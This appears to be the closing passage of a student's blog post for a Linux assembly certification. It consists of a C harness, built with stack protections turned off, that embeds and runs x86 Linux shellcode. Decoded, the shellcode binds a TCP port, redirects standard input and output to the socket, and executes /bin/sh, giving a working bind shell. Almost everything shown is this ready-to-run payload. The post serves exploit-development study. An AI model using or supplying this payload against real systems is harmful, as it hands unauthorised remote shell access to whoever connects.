/* Compilation: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */ #include<stdio.h> #include<string.h> unsigned char code[] = \ "\x31\xdb\xf7\xe3\xb3\x01\x6a\x06\x53\x6a\x02\x89\xe1\xb0" "\x66\x89\xc7\xcd\x80\x96\x43\x52\x66\x68\x7a\x6c\x66\x53" "\x89\xe1\x6a\x10\x51\x56\x89\xe1\x89\xf8\xcd\x80\x52\x56" "\xb3\x04\x89\xe1\x89\xf8\xcd\x80\x52\x52\x56\x43\x89\xe1" "\x89\xf8\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49" "\x79\xf9\x89\xd1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Done.
All files are available on github.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE – 674